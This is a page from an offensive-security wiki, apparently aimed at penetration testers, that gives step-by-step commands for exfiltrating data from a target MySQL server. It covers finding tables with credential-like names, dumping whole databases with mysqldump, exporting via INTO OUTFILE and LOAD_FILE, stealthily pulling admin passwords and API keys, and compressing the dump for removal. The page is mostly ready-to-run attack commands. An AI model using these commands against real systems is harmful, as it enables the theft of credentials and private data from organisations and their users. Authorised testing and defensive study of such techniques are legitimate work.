# MySQL Bulk Data Exfiltration

- **URL:** https://hackindex.io/services/mysql/data-exfiltration/mysql-bulk-data-exfiltration
- **Path:** MySQL > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/mysql/data-exfiltration.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

MySQL data exfiltration ranges from pulling a handful of rows from a high-value table to dumping entire databases. The technique depends on what access is available and how much data needs to be captured.

- `mysqldump` produces the cleanest output and handles encoding correctly, but generates noticeable query load
- SELECT INTO OUTFILE writes CSV to the server filesystem when FILE privilege is available
- Targeted SELECT queries are quieter and sufficient when the goal is specific credential or configuration data

## Identify High-Value Tables First

Before dumping anything, identify which tables contain credentials, tokens, or sensitive data worth capturing:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_ROWS FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT IN ('mysql','information_schema','performance_schema','sys') ORDER BY TABLE_ROWS DESC;"
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME REGEXP 'user|account|password|credential|token|secret|key|auth|session|admin' AND TABLE_SCHEMA NOT IN ('mysql','information_schema','performance_schema','sys');"
```

## Dump a Full Database with mysqldump

mysqldump produces a complete SQL dump including schema and data. Run it from Kali directly against the remote host:

```bash
mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction --databases appdb > /tmp/appdb-dump.sql
```

`--single-transaction` takes a consistent snapshot without locking tables: use this on InnoDB databases to avoid disrupting application operations during the dump.

## Dump All Databases

```bash
mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction --all-databases > /tmp/all-databases.sql
```

## Dump Specific Tables Only

When only specific tables contain the data of interest, dump those individually to reduce output size and query volume:

```bash
mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction appdb users credentials api_keys > /tmp/sensitive-tables.sql
```

## Export Data to CSV via SELECT INTO OUTFILE

If direct mysqldump is not viable but INTO OUTFILE is available through FILE privilege, export tables to CSV files on the server and then retrieve them:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT * FROM appdb.users INTO OUTFILE '/tmp/users-export.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\n';"
```

Then retrieve the file using LOAD_FILE from another session or via shell access:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/tmp/users-export.csv');" > /tmp/users-local.csv
```

## Extract Targeted Rows with Low Query Footprint

When stealth matters more than completeness, extract only the highest-value rows using targeted queries rather than full table dumps:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT username, password, email FROM appdb.users WHERE role='admin' LIMIT 50;" > /tmp/admin-users.txt
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT * FROM appdb.api_keys LIMIT 100;" > /tmp/api-keys.txt
```

## Compress Before Transfer

For large dumps, compress locally before moving off the host:

```bash
mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction appdb | gzip > /tmp/appdb-dump.sql.gz
```

```bash
du -sh /tmp/appdb-dump.sql.gz
```

## References

- [MySQL: mysqldump documentation](https://dev.mysql.com/doc/refman/8.0/en/mysqldump.html) - Full flag reference including single-transaction, all-databases, and table filtering
- [MySQL: SELECT INTO OUTFILE reference](https://dev.mysql.com/doc/refman/8.0/en/select-into.html) - CSV export syntax with field and line terminators